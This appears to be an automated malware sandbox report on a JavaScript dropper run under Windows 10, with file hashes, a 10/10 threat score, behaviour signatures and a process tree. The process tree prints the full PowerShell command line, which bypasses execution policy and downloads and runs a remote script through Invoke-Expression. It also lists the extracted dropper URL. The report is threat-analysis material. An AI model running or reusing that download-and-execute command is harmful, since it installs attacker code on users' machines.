Analysis

  • max time kernel
    140s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-01-2024 05:27

General

  • Target

    in_67226722367226722.js

  • Size

    39KB

  • MD5

    2cabe93683e4535d83dcf52a65ebc346

  • SHA1

    f4e7e84f88ed5ebe3d0e194d2575e02fec8f6a64

  • SHA256

    9091a92935f469f8420312270a3b12ff519ed0f840e42324f2ecdb0a660b2f1d

  • SHA512

    bbfc3dcd0c1483569738a21dbb2162f7be90f18b6edd3a894296450477d618b10f56e11c4a08d8b70aade93b31f066403793b399044a038fd2d0bf8440d48626

  • SSDEEP

    768:lH7QeMV8mjOil1SoVjVjdbeBywz0J8choA37jygvBw3OvKClNhM1tbji3nsGxQmo:R7QeI/0+xwsB0b8rC

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://xerixwebstudio.com/documents.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\in_67226722367226722.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://xerixwebstudio.com/documents.txt')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4584

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsk033ba.mv5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4584-9-0x0000018012C20000-0x0000018012C42000-memory.dmp

    Filesize

    136KB

  • memory/4584-10-0x00007FFBE6C10000-0x00007FFBE76D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4584-11-0x0000018012BE0000-0x0000018012BF0000-memory.dmp

    Filesize

    64KB

  • memory/4584-12-0x0000018012BE0000-0x0000018012BF0000-memory.dmp

    Filesize

    64KB

  • memory/4584-15-0x00007FFBE6C10000-0x00007FFBE76D1000-memory.dmp

    Filesize

    10.8MB